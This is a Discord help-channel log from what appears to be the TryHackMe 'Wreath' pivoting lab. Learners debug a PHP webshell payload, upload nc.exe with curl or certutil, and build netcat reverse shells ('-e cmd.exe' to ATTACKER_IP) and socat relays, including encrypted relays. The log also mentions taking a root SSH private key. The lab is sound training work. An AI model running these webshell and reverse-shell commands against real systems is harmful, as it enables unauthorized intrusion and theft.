I can run remote commands on the windows server but for some reason it completely and absolutely REFUSES to let me get a reverse shell, I tried restarting the listener etc and follow the writeup where the command worked but still no luck for some reason

#

I must have messed something up surely since its obviously supposed to work but I seriously can't figure out what, the listener and firewall exception uses same port, i input the prod-serv IP for the IP part of the reverse shell command and everything but nope

#

ive tried using -X POST and -XPOST as well

#

tried with both burp and CLI

waxen orbit
#

I was having trouble with powershell shell so I uploaded nc.exe binary and got a shell through it.

surreal sail
#

how did you upload it to the git-server prior to getting a shell on it though?

waxen orbit
#

You can execute Windows commands through webshell so certutil or curl whichever works.

surreal sail
winter lintelBOT
#

Gave +1 Rep to @waxen orbit

surreal sail
#

Well actually one last thing

#

for some reason using burp is completely broken atm, so I can only do it all thru the CLI. Doing any command gives the same response as a blank command, but since CLI works its not really an issue

#

Thank you again πŸ™‚

waxen orbit
#

It should work with Burp too. Make sure to use post request.

surreal sail
#

Yep using POST, tripple checked that everything was correct, it worked until it suddenly didnt anymore

waxen orbit
#

Show burp request screenshot.

surreal sail
#

One sec

#

Doing powershell.exe -c "curl kali-ip/nc.exe ; nc.exe (after cping it to the directroy) didn't work unfortunately by the way. It stood still for a moment before returning " "

#

Actually let me try with a fresh burp intercept because I ended up closing the window

surreal sail
#

Response

robust cloak
waxen orbit
#

a=whoami

leaden oyster
#

I am at task 42 where we get full shell back from Pc(3rd server). The task says to execute powershell.exe c:\\windows\\temp\\nc-USERNAME.exe ATTACKER_IP ATTACKER_PORT -e cmd.exe and I am getting a shell back. But if I execute same command but with cmd.exe i dont get a shell back. cmd.exe c:\\windows\\temp\\nc-USERNAME.exe ATTACKER_IP ATTACKER_PORT -e cmd.exe. Like this

#

This is what i get in my browser when i run with cmd.exe and dont get shell back in my nc listener

#

what can be the reason i want to ask?SHouldnt it work with cmd.exe too

surreal sail
# waxen orbit Just type whoami no powershell.exe.

Sure one sec.

I might have realized what the problem is, I think I forgot to create a Socat relay to forward the shell prior to running the powershell exploit command. Imma try setting one up again, but I have a question, if I set up a port exception on port 17010 on the CentOS firewall, should I use port 17010 for both the netcat listener and the relay? Im slightly confused how im gonna syntax the relay to make it work

#

So to add some context, in the Wreath example for the Socat relay, port 443 is used for the netcat listener catching the relay shell. Should I change that to 17010 in this case?

#

And again, in the example, port 8000 is used for the socat relay listener, should I change that to 17010?

#

I still haven't completely wrapped my head around the syntax for the port tunneling tools

#

no luck so far ughhhh why cant i catch this shell, maaaan

#

hey at least its realistic now i guess darkchamp

#

You know what I think its gonna work this time using nc.exe, gonna give it another try

#

Can't get it to curl NotLikeThis

surreal sail
waxen orbit
surreal sail
waxen orbit
waxen orbit
surreal sail
surreal sail
#

which come to think of it

#

wont work because .150 cant access my kali machine

waxen orbit
#

You need to open firewall port for http server port otherwise prod-serv machine cannot connect to it iirc.

surreal sail
#

Alright, ill give that a try. So if I open the http server on prod server on port 4242, ill add an exception using the same firewalld command, but using port 4242?

waxen orbit
#

Yup.

surreal sail
#

alright got it, thanks! Ill give it a shot, one sec

waxen orbit
#

Lmk if it works or not.

surreal sail
#

of course! blobheart

surreal sail
#

this machine slowly but surely makes sure each step of this process works backwards, each step taking a working process with it darkchamp

#

There's no jobs running, so not sure why it's in use

#

maybe another user?

#

Wait, do I even need the relay if I use nc.exe?

waxen orbit
#

Process is already running in background. Kill it.

surreal sail
#

theres no jobs tho

#

or is it under ps aux?

surreal sail
#

yep that fixed it, let me give nc.exe a try now. One moment

surreal sail
#

Curling it to the 150 machine worked flawlessly though

#

but executing the .exe did not give a shell

#

used this command

waxen orbit
#

Is netcat uploaded?

surreal sail
#

yep its there if i run powershell ls

#

so that part worked

waxen orbit
#

Why 127.0.0.1?

#

Also, no /bin/bash cause its a windows machine.

surreal sail
#

that was what was used in the socat relay example so I tried that, should it be the prod serv?

#

can i just remove that part entirely?

#

the -e one that is

waxen orbit
#

Use cmd.exe instead /bin/bash.

surreal sail
#

Alright, one sec!

surreal sail
waxen orbit
#

Show command without url encoding.

surreal sail
#

I was about to ask, does ./ work on powershell? My PS knowledge is seriously lacking

waxen orbit
#

Windows use \. Try full path for nc.

surreal sail
#

Sure, one moment

waxen orbit
#

powershell.exe c:\\windows\\temp\\nc-USERNAME.exe ATTACKER_IP ATTACKER_PORT -e cmd.exe

#

Like this.

surreal sail
#

ught

#

how do i not escape the character lol

#

pretend the / is a \ lol

surreal sail
#

tried both full path and .\

#

Do you need to change permissions like on linux with some weird powershell equivalent of chmod 700?

waxen orbit
#

Just type c:\your-path-to-nc.exe -h and see if it returns output or not.

surreal sail
#

One moment

#

oh

#

you mean on the attacking machine

#

yeah it does, i checked prior to running it on powershell

waxen orbit
#

On git-serv web shell.

surreal sail
#

yeah thats what i did, its not giving output at all

#

on kali it outputs

waxen orbit
#

c:\your-path-to-nc.exe --help type only this no powershell.exe or anything on git web shell.

surreal sail
#

Should I URL encode it?

waxen orbit
#

Try with and without encoding.

surreal sail
#

Sure, one moment

surreal sail
#

Maybe I should add, I'm on the 10.200.90.x subnet of Wreath

#

I noticed some other users get a different subnet

#

Let me try encoding it though

#

Nope same error NotLikeThis

#

why is each component slowly but surely breaking

#

this room has a grudge on me or something

waxen orbit
#

Oh no.

surreal sail
#

oh no

#

thats not a good reply to hear cri is that subnet bad??

waxen orbit
#

No, its fine.

#

Does whoami work or all broke?

surreal sail
#

lemme try whoami

surreal sail
#

wth man lol

#

hey at least the room is challenging darkchamp

#

You think regenerating the wreath network file would do anything?

waxen orbit
surreal sail
waxen orbit
waxen orbit
#

Yeah, modify the exploit to accept get request and see if it works or not. Or upload the same one with different name.

#

Otherwise it needs a reset ig.

surreal sail
#

the binaries are encrypted or encoded or something, its all gibberish when opened with vim

waxen orbit
#

Yeah, they are compiled.

waxen orbit
# surreal sail How would I do that?

In code review section it is explained iirc. Replace <?php system($_POST['a']); ?> with <?php system($_GET['a']); ?> and then change the web shell name to different one in exploit.

winter lintelBOT
#

Gave +1 Rep to @waxen orbit

waxen orbit
#

I left the Wreath room and can't join now without 7day streak. sadcooctus

surreal sail
waxen orbit
#

Nah, its fine I already completed it. I could have speed run that part to confirm. Can't remember I probably leaved it after completing.

surreal sail
#

alright, reuploaded it now with GET method and different name

#

just gonna check so its there

surreal sail
#

why did the CLI method break completely feelsbadman

#

wreath just doesnt want me to finish it lol

waxen orbit
#

Wait.

surreal sail
#

also the typo on the username is on purpose

#

there was a typo when uploading it lol

waxen orbit
#

http://gitserver.thm/exploit.php?a=whoami

#

Don't send data separately.

#

Its a get request this time.

surreal sail
#

ohhh you're right

#

The whoami command works

#

Gonna try the executable again just a simple --help

waxen orbit
#

Good signal. cri

surreal sail
#

No luck

waxen orbit
#

Try fullpath. Also, dir to confirm its there.

surreal sail
#

Yeah I checked it with dir and its there, lemme try full path

#

still no output

#

Maybe I could try uploading a static binary of Socat and try getting a reverse shell with Socat?

waxen orbit
#

If your relay is setup'd properly you can try the direct powershell command too. I had problems with ps so I tried nc binary. Also, visit this site through browser so it'll be a bit easier to modify commands.

surreal sail
#

Which powershell command do you mean? The one in the room? I tried that one first but for some reason it didnt work. Idk though maybe theres something wrong with the relay. Let me show you the relay syntax

#

If I understand it right, its going like "okay listening for any connections on port 17010, and redirect those to 10.50.91.164 on port 443", right?

#

also brb 5-10min gotta stretch my legs for a bit lol

leaden oyster
#

Thanks @merry robin . Learned so much from this network

winter lintelBOT
#

Gave +1 Rep to @merry robin

surreal sail
#

The relay seems to be correct syntax and stuff then

#

since im also using a netcat listener on port 443 of my kali machine

waxen orbit
#

Try the ps shell one more time with url encoding or C:\Windows\System32\cmd.exe /c c:\windows\temp\nc-USERNAME.exe --help if it works then use prod-serv ip as attacker ip and replace nc path.

surreal sail
#

sure one sec lol network stopped

surreal sail
waxen orbit
#

No worries. And try directly on browser this time both with and without encoding.

surreal sail
#

also i gotta ask are you dark or is this another dark lol its so confusing

surreal sail
waxen orbit
surreal sail
#

yeah thats what tripped me out lol

surreal sail
#

or fully without encoding?

waxen orbit
#

Try without encoding. If it didn't worked then with encoding on browser.

surreal sail
#

Nope still no output, oh well I'll give it another try tomorrow

#

Thanks for the huge effort again!

rose arrow
#

Can someone help me with the access of the /resources page

#

is it a bug?

#

i can't seem to figure it out

rose arrow
#

nvm i got it

clear field
#

Anyone else having connectivity issues with wreath?

#

Room died and it's been 12 minutes but I still cannot connect to it
Regenerated my ovpn file and everything

cyan vine
#

Is there a reset feature to reset the network? (I haven’t checked wreath out so I’m not sure) @clear field

elder mango
#

i got this error in wreath

elder mango
#

I can't comment to the gitstack in task 20 using burpsuite

waxen orbit
#

Can you ssh normally? Looks like a connection problem to me.

last oar
#

anyone done with task 34 double pivoting

strange turret
#

Hi, I 'am stuck on task6 with the pseudoshell keeping telling me that it "Failed to execute command", whatever type of revshell I try to spawn

#

And the "shell" command from the exploit end up with a warning for firewall w

last oar
#

can you share it

#

or maybe try running the exploit again

random cedar
#

Hey guys I am trying to continue my progress through wreath and I can't connect the initial shell on port 10000, when I run the nmap scan it doesn't show up in the scan?
What could I be missing?

tepid veldt
#

Hi all. the id_rsa for task 6 seems to be empty. Doesn't show anything when I cat and just shows an empty file when I nano it as well. I put in a reset vote, but it still needs one more vote...

reef quest
#

Hi, is it possible to reset the box without 8 votes? I voted for a reset, because some files were modified and answers weren't right. After the restart apparently the Webmin service is not working correctly. So exploit doesn't work.

surreal sail
random cedar
#

The port required for the foothold seems to be have been patched

reef quest
random cedar
sonic terrace
#

I just started the wreath room.can somebody tell me how there are 3 machines and not 2.is it the cloned machine or something?sorry if it's a stupid question πŸ˜„

merry robin
#

There are three machines because it's a network

sonic terrace
#

No but what information in the brief told us that there are 3 machines

merry robin
#

The brief tells you that there is a webserver, a backup server, and a PC

sonic terrace
#

Ok thanks I wasn't sure if the backup was counted as a machine

scenic temple
#

Anyone else facing issue sshing ?

crude imp
#

I am doing the bonus question in the socat task. Is anyone able to verify if the command I think it would be, is correct?

merry robin
#

Sure πŸ™‚

scenic temple
#

I still can't figure out what to do, I can't ssh to the machine....
It's telling "no routes available" Is there anyone who can help me out with this issue

crude imp
merry robin
merry robin
crude imp
#

openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt

cat shell.key shell.crt > shell.pem

socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -

./socat OPENSSL-LISTEN:VICTIM_B_PORT,cert=shell.pem,verify=0 OPENSSL:LOCAL_IP:LOCAL_PORT,cert=shell.pem,verify=0 &

scenic temple
#

Nahh... My vpn seems to be fine, I also tried regenerating vpn but it still didn't fix my issue

crude imp
#

@scenic temple can you ping the machine?

scenic temple
#

I tried.... It's telling host unreachable

crude imp
#

sounds like VPN then? Ill check to see if I can ping it. 1st machine in Wreath?

merry robin
crude imp
#

presume I transferred the openssl cert across to the compromised machine

scenic temple
# clear field

Seems others have faced the same issue too...
Idk what to do, I'm stuck.

crude imp
scenic temple
#

Lemme try again

crude imp
#

May sound dumb, but make sure you use 'sudo' for openvpn

merry robin
#

Not quite.
You're good with the openssl aspect. The openssl cert only needs to be on the listening side, so you could do something like this:

Attacker:
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0
Compromised Target:
socat TCP-L:<PORT-TO-OPEN>,fork,reuseaddr OPENSSL:<ATTACKER-IP>:<PORT>,verify=0
That should work for a relay, although I'd suggest experimenting with it -- it's late and I don't have notes handy πŸ˜†

scenic temple
#

Yeaa.. I do use sudo, without sudo we can't connect

merry robin
#

Show me ip a

crude imp
merry robin
#

Ideally we would. In practice that would mean we would need to send whatever was coming back to us using socat though (i.e. we would need to send a reverse shell using socat, or some other way of encrypting it in a compatible way). That's not always possible.

#

Equally, filters are more likely to be at the network egress rather than the machine egress, although both are possible

crude imp
#

ok. i think i get ya

merry robin
#

If you can send it back encrypted then you would just change the TCP-L for OPENSSL-LISTEN and specify another cert there

crude imp
#

so cant share the same cert for both connections?

merry robin
#

You could, if you wanted πŸ€·β€β™‚οΈ

crude imp
#

is it bad practice to? or just something not really discussed as its so minor?

merry robin
#

In general it's a bad idea to transfer things like certs around -- in the same way as it's a bad idea to transfer private SSH keys around. In practice it's unlikely to cause an issue if you're just using a throwaway self-signed cert.

crude imp
#

alright cool. thank you for that info Muiri

merry robin
#

Np πŸ™‚

sonic terrace
#

I am in the pivoting section in the wreath room and after reading it thoroughly I understand it but its a bit too much of how to port forward, theory etc so I wanted to ask in the upcoming tasks will I practice most of the techniques given and remember them or should I make detailed notes(which would be quite a lot as there's a lot of stuff in the pivoting section)

#

i am currently making notes about what i am doing so i can write a report at the end but i havent been writing the theory part.should I?

merry robin
#

The network is a sandbox -- you will be told to pivot, and be expected to use at least one of the techniques taught in the pivoting section. Up to you which one(s) you use @sonic terrace

#

There's a way that's easier, which is mentioned.
That said, if you're not learning from it then there's no point in doing it. That information is there for a reason. The network is not a challenge, nor should it be -- it's there to provide a practical element to the teaching material.

orchid mulch
#

I need help on Wreath if anyone is available. Specifically, I'm to task 18 and I can't ssh into the original machine with the id_rsa private key file. It keeps saying "invalid format"

#

Back in task 6, I used the CVE exploit to get the reverse shell. Then as root, I navigated to /root/.ssh/ folder. There I "cat id_rsa" and copied the contents to a blank text file on my attacking machine and named it "id_rsa". - That's what I'm trying to use in task 18: ssh root@10.200.143.200 -i id_rsa ... and it's saying: load key "id_rsa": invalid format

#

I made sure there aren't any spaces before the "-----BEGIN OPENSSH PRIVATE KEY----- ... or any spaces after the end

orchid mulch
#

... I'm just going to try to do it all over again. Hopefully that will help.

#

ugh - reset my connection, redid task 6 and it's still giving me the "invalid format" message when I try to ssh using the copied text in the id_rsa file - i don't get it.

orchid mulch
#

are you kidding me? all I needed was a newline at the end of the id_rsa file - wow

merry robin
#

Sounds like a valuable lesson learnt there :)
Well done debugging it

ivory grove
#

root@kali:~# powershell-empire server
[] Loading default config
[
] Loading stagers from: /usr/share/powershell-empire/empire/server/stagers/
[] Loading modules from: /usr/share/powershell-empire/empire/server/modules/
[
] Loading listeners from: /usr/share/powershell-empire/empire/server/listeners/
[] Loading malleable profiles from: /usr/share/powershell-empire/empire/server/data/profiles
[
] Searching for plugins at /usr/share/powershell-empire/empire/server/plugins
[] Plugin csharpserver found.
[
] Initializing plugin...
[] Doing custom initialization...
[
] Loading Empire C# server plugin
[] Registering plugin with menu...
[
] Empire starting up...
[] Starting Empire RESTful API on 0.0.0.0:1337
[
] Starting Empire SocketIO on 0.0.0.0:5000
[*] Testing APIs
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/urllib3/connection.py", line 169, in _new_conn
conn = connection.create_connection(
File "/usr/lib/python3/dist-packages/urllib3/util/connection.py", line 96, in create_connection
raise err
File "/usr/lib/python3/dist-packages/urllib3/util/connection.py", line 86, in create_connection
sock.connect(sa)
ConnectionRefusedError: [Errno 111] Connection refused

During handling of the above exception, another exception occurred:

ivory grove
ivory grove
#

I think above error has something to do with this.
requests.exceptions.ConnectionError: HTTPSConnectionPool(host='0.0.0.0', port=1337): Max retries exceeded with url: /api/admin/login (Caused by NewConnectionError('<urllib3.connection.HTTPSConnection object at 0x7f2f9c54b0d0>: Failed to establish a new connection: [Errno 111] Connection refused'))

sonic terrace
#
./socat tcp-l:8000 tcp:ATTACKING_IP:443 &```
#

How does this work if we are not specifying the target machine ip

#

sorry if im missing something obvious

merry robin
#

It's a listener

#

It sits on the target machine and listens for incoming connections, then relays those to the attacker

sonic terrace
#

so if lets say the attacking machine is A and we compromised machine B.we now need access to machine C.how does setting up a listener on A and connecting to it from B give us access to C?or are we supposed to run the socat program from C?

surreal sail
# sonic terrace so if lets say the attacking machine is A and we compromised machine B.we now ne...

You're supposed to setup 2 listeners. One on your attacking machine, and one on the already compromised server in this case machine B, with the: ./socat tcp-l:8000 tcp:ATTACKING_IP:443 & From computer C you connect to computer B, which is listening on 8000 and then computer B forwards that connection to yourself on port 443. You do this with powershell script mentioned in a task or get one from the internet.

#

With the powershell stuff, it didn't work out for me in curl, but worked in burpsuite. Just make sure to url encode it with CTRL^U and make sure it's red.

torpid wave
#

Hi everyone. Am I the only one who can't access the network?

scenic temple
#

Even I can't access...

surreal sail
#

Yeah me too

surreal sail
#

Was working until now, ffs

elder cedar
#

I'm really struggling with Task 41. I have followed everything it says and even followed along with @oblique crag 's YouTube guide. I can curl in my nc.exe file but when I try to do the powershell.exe it does nothing. I've tried different ports and deleted and redone my git clone but nothing is working. I can still do the wreath=whoami and the wreath=clone... shows a GET request. Does anyone have any suggestions for me?

vestal rose
#

Hey, I just started on the Wreath network and it seems like someone killed a service I am supposed to exploit. Do I rly need to wait for the network to reset? (11/21 votes)

merry robin
#

What's the IP for the first box @vestal rose? 21 seems awfully high

vestal rose
#

It's 10.200.72.200 @merry robin

merry robin
#

72 is my dev network. That should have been fixed ages ago.
@limber rover any reason why people are still getting dropped into .72? πŸ™‚

merry robin
vestal rose
#

Maybe I'm special coolguy πŸ˜†

#

@merry robin Nope I got straight back into .72

merry robin
#

That will need Skidy to move you manually then I'm afraid

vestal rose
#

Alrighty. I guess that means I'll have to do that room after I've been moved then. Pls tag me so I know when to continue, thanks πŸ™‚

lusty saffron
#

Also, you can notice the disk space with the dir command. It doesn't not change in accordance with the deletion of nc.exe. So, AV is possibly moving the file away in quarantine.

#

If I recall, Muiri has already stated that /usr/share/windows-binaries/nc.exe (the one that comes with Kali) may not work, as it is already known to Defender.

elder cedar
#

@lusty saffron I had tried using that one to but was getting a 404 with the GET request. I ended up closing my terminal tab and opening another and was able to get nc64.exe to successfully load and after that everything worked good.

lusty saffron
stable briar
#

network seems to need some resetting

lusty saffron
stable briar
#

the ssh service on prod-serv is down, i'm unsure how

lusty saffron
#

Muiri may help youπŸ™‚

stable briar
#

he's asleep

lusty saffron
#

I am just a normal player/member

You can wait till then, or try regenerating your VPN pack.
This is what they tell you, it may possibly help youπŸ™‚

stable briar
#

lol, waiting till then

#

guess my studying has to be halted then

#

it's certainly not the vpn pack though, because i'm not experiencing any connectivity issues from my machine

lusty saffron
#

Well, did you get a reverse shell using ||Muiri's Webmin exploit script for Webmin service running on port 10000||?

stable briar
#

i'm way beyond that phase

lusty saffron
#

If so, then you may at least try to check what's wrong with sshd

#

So that you can let others and Muiri know beforehand about any possible issue

stable briar
#

come on man, i'm telling you the machine is down

lusty saffron
#

Oh, sorry my bad. You said ssh service is down

#

Happy hackingπŸ‘

stable briar
#

well then, till the next reset

limber rover
winter lintelBOT
#

Gave +1 Rep to @limber rover

steady apex
#

Hey, my nmap scan did not bring back the desired ports...only 22,80,443 and 5355 idk why. I did -oN serviceScan; same result. I did my usual -T4 -A -p- (and -p 1-15000); same result. I did -p 10000, closed (also 9090). I can ping the IP of the network, so a I am connected. DNS is also set up, I can access the website. network is also up, it is in a running state. After some writeups reading I saw that I needed to see at least port 10.000, to exploit a service, but it is not open? I guess I am doing something wrong, but after an hour of repeating nmpa scans, cannot find it. Can someone help me?

#

I guess it is because of .72 isnt it. Damn that sucks. Guess I'll wait

limber rover
#

You should be put into another random network:)

steady apex
#

Nope right back into .72

#

When I leave it says .82, but as soon as I join, it throws me back into 72

#

probably does not help, but this is all i can give you for now srry

opal ore
#

i tried accessing /home/.ssh folder in first machine but there is no such folder

#

is it a different one?

merry robin
#

That would be a very unusual place to find a .ssh folder :)

opal ore
#

thnx i'll try finding it

steady apex
#

it is the user folder, not the home folder i think

opal ore
#

found it

limber rover
opal ore
#

what am i doing wrong here?

#

nvm there is something wrong with my vim

steady apex
zinc oriole
#

oooo. there's a room from this room

jolly abyss
#

Guys

#

Is it just me or does the nmap scan show only 3 ports and the a llmnr filtered port

#

There isn't any port with a valid CVE

#

I tried resting the box but nothing changed

jolly abyss
#

No prob I got it

zinc oriole
#

there is more than one available target, so that's ambiguous πŸ™‚

jolly abyss
#

By leaving the room and rejoining the port was up

#

The port 10000 was closed

#

But leaving the room fixed it

zinc oriole
#

ok, weird.

#

that shouldn't have an effect on the network. perhaps restarting ovpn would have fixed it too

jolly abyss
#

Yeah I'm thankful it got fixed anyway

#

At the beginning I thought resting the box would fix it, I waited a full day for the rest

zinc oriole
#

wreath sure isn't something you knock out in an afternoon

jolly abyss
#

πŸ˜„

#

Obviously not

#

But kudos to creator

#

It really does teach a lot

zinc oriole
#

oh, this room justifies premium subscription by itself.

#

@merry robin thank you πŸ™‚

winter lintelBOT
#

Gave +1 Rep to @merry robin

jolly abyss
#

@merry robin thanks bro

winter lintelBOT
#

Gave +1 Rep to @merry robin

elder cedar
#

I just finished this network and I have to say thanks @merry robin. This has been one of the most enjoyable experiences and has thought me so much about the foundations. I can't wait to continue to expand on this knowledge.

winter lintelBOT
#

Gave +1 Rep to @merry robin

crude imp
#

i am stuck on Task 20. I have used a powershell command i found online that is almost mirror to Muiri's, and that didnt work. I then decided to use Muiri and this is the error I get when running the python command:

#

The mirrored command says it is using non-ASCII characters, so I add in # coding: UTF-8 to the top and it runs, but no shell happens

#

I then try Muiri and it says syntax error, but I cant see an issue with $stream.Flush

#

I do have a static copy of ncat on the compromised machine running as well

merry robin
#

That will be to do with the quotes in the command @crude imp

#

Try putting the whole lot in triple quotes

#

e.g.

command = """POWERSHELL_GOES_HERE"""
crude imp
#

Why would that be?

merry robin
#

Because you've tried to enclose it in quotes already, then closed the quotes early

crude imp
#

oh. so the initial ' will be canclled by the immediate next '

merry robin
#

Mhm

crude imp
#

Why doesn't it cancel each other at the start?

merry robin
#

What do you mean?

crude imp
#

well it says """ POWERSHELL """ Why dont the first 2 "" make a dead space?

#

so "(open)"(close)"(open) POWERSHELL "(close)"(open)"(close)

#

looks like it is counterproductive in my eyes but I have next to no programming understanding

merry robin
#

Because """ is a part of the Python syntax in its own right.
It's interpreted as a single entity, rather than as three separate quotation marks

crude imp
#

OK. So it is hardcoded into Python that """ is its own syntax?

merry robin
#

Specifically it represents a multi-line string, but it's also very useful in situations like this where you would otherwise have to escape stuff

#

Yes

crude imp
#

ok makes sense. Thank you

merry robin
#

People often use it for multi-line comments as well πŸ€·β€β™‚οΈ

crude imp
#

That seems extra confusing

merry robin
crude imp
#

but if it works....

merry robin
#

It's extremely useful

crude imp
#

Thank you for your help Muiri

merry robin
#

Np πŸ™‚

#

As an example for multiline stuff

#

That would have been an absolute nightmare if you were trying to do it with line breaks and string formatting

crude imp
#

art is set as the variable tho correct?

merry robin
#

Yep

#

It's a variable set with a multi-line string, meaning you don't need to escape line breaks or anything like that

#

Kinda like a here-doc

crude imp
#

looks like a nightmare to make let alone adding in \n

merry robin
#

Heh, beyond me definitely. I don't do ascii art

crude imp
#

alright so """ can be either a comment or to help close syntax commands with multiple quotation marks OR to also make ASCII art of commands that may need to be run over multiple lines without having to add the necessary newlines and whitespace, etc.

#

I think i get it lol

merry robin
#

Pretty much πŸ˜†
It's a multi-line string. That's basically it πŸ€·β€β™‚οΈ

crude imp
#

thats an easier way to put it

merry robin
#

Just to prove that:

#

Same example as before, but this time with single quotes

crude imp
#

that allows for quotation on a single line?

merry robin
#

The "multi-line comment" is literally just a string that hasn't been assigned to a variable

crude imp
#

sorry comments

merry robin
#

It's a string, rather than a comment
Officially comments should start with a hash

crude imp
#

That is how I learnt them in my 3 day crash course of youtube

merry robin
#

Yeah, so the string at the top isn't really a comment -- it's just a string that hasn't been assigned to anything

#

But it functions in the same way

crude imp
#

so once it is assigned to a variable it can then be called

#

unlike the # one

merry robin
#

Yes, exactly

crude imp
#

well you made that sound a lot easier than i would of guessed lol

merry robin
#

That's what happens when I initialise it and print -- exact same string, but now it does something

crude imp
#

so you can do both, but it is seen as bad habits to use "" as a comment?

#

or in practice no one really cares?

merry robin
#

I don't think I've ever seen someone use "" as a comment πŸ˜†
Everyone uses # for single line comments -- that was just to demonstrate what's happening behind the scenes with multi-line "comments"

#

i.e. they aren't really comments at all

crude imp